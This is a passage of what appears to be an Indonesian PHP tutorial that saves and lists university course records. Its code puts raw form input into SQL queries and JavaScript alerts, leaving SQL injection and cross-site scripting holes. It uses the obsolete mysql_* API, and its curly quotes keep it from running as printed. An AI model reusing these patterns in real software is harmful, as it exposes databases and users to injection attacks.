<td>Semester</td>
</tr>
</thead>
<tbody>
<?php
$s=mysql_query(“select * from matakuliah order by kode_mk asc”);
while($r=mysql_fetch_array($s))
{
echo “<tr>”;
echo “<td>”.$r['kode_mk'].”</td>”;
echo “<td>”.$r['nama_mk'].”</td>”;
echo “<td>”.$r['sks'].”</td>”;
echo “<td>”.$r['semester'].”</td>”;
echo “</tr>”;
}
?>
</tbody>
</table>
<?php
}
}
?>
  • simpan_database.php
<?php
$kode=$_POST['kode'];
$nama=$_POST['nama'];
$sks=$_POST['sks'];
$semester=$_POST['semester'];
class simpan{
function simpan_data($kode,$nama,$sks,$semester){
//memvalidasi apakah data tersebut sudah ada atau belum
$validasi=mysql_query(“select kode_mk from matakuliah where kode_mk=’$kode’”);
if(mysql_num_rows($validasi)>0){
echo “<script>alert(‘Kode Mata kuliah sudah ada’); location.href=’index.php’;</script>\n”;
exit(0);
}
//validasi inputan supaya data yang dimasukkan tidak kosong
if(((!$kode)||(!$nama)||(!$sks)||(!$semester))){
echo “<script>alert(‘Data Tidak Boleh Kosong’); location.href=’index.php’;</script>\n”;
}
else{
echo “<script>alert(‘kode Mk = $kode | Nama Makul = $nama Sudah Tersimpan’);</script>\n”;
$hasil=mysql_query(“insert into matakuliah (kode_mk,nama_mk,sks,semester)
values(‘$kode’,’$nama’,’$sks’,’$semester’)”);
echo “<script>location.href=’index.php’;</script>\n”;
}
}
}
?>
  • index.php
<!DOCTYPE HTML>
<html>
<head>
<title>Tabel Data Akademik</title>
<link rel=”stylesheet” href=”style.css”>
<link rel=”stylesheet” href=”style2.css”>
</head>
<body>
<?php
ini_set(‘display_errors’,0);
include “form_data.php”;
$form_data=new form_data(); //kelas yang ada pada file form_data.php
include “simpan_database.php”;
$simpan=new Simpan(); //kelas yang ada pada file simpan_database.php
include “koneksi.php”;
$menu=$_GET['menu'];
switch ($menu)
{
case “simpan_data”:
$simpan->simpan_data($kode,$nama,$sks,$semester);
break;
default:
$form_data->tambah_daftar();
echo “<hr>”;
$form_data->tampil_data();
}
?>
</body>
</html>
untuk mempercantik tampilan disini saya sedikit menambahkan css kedalam tabel tersebut, hasilnya seperti berikut
* download source code disini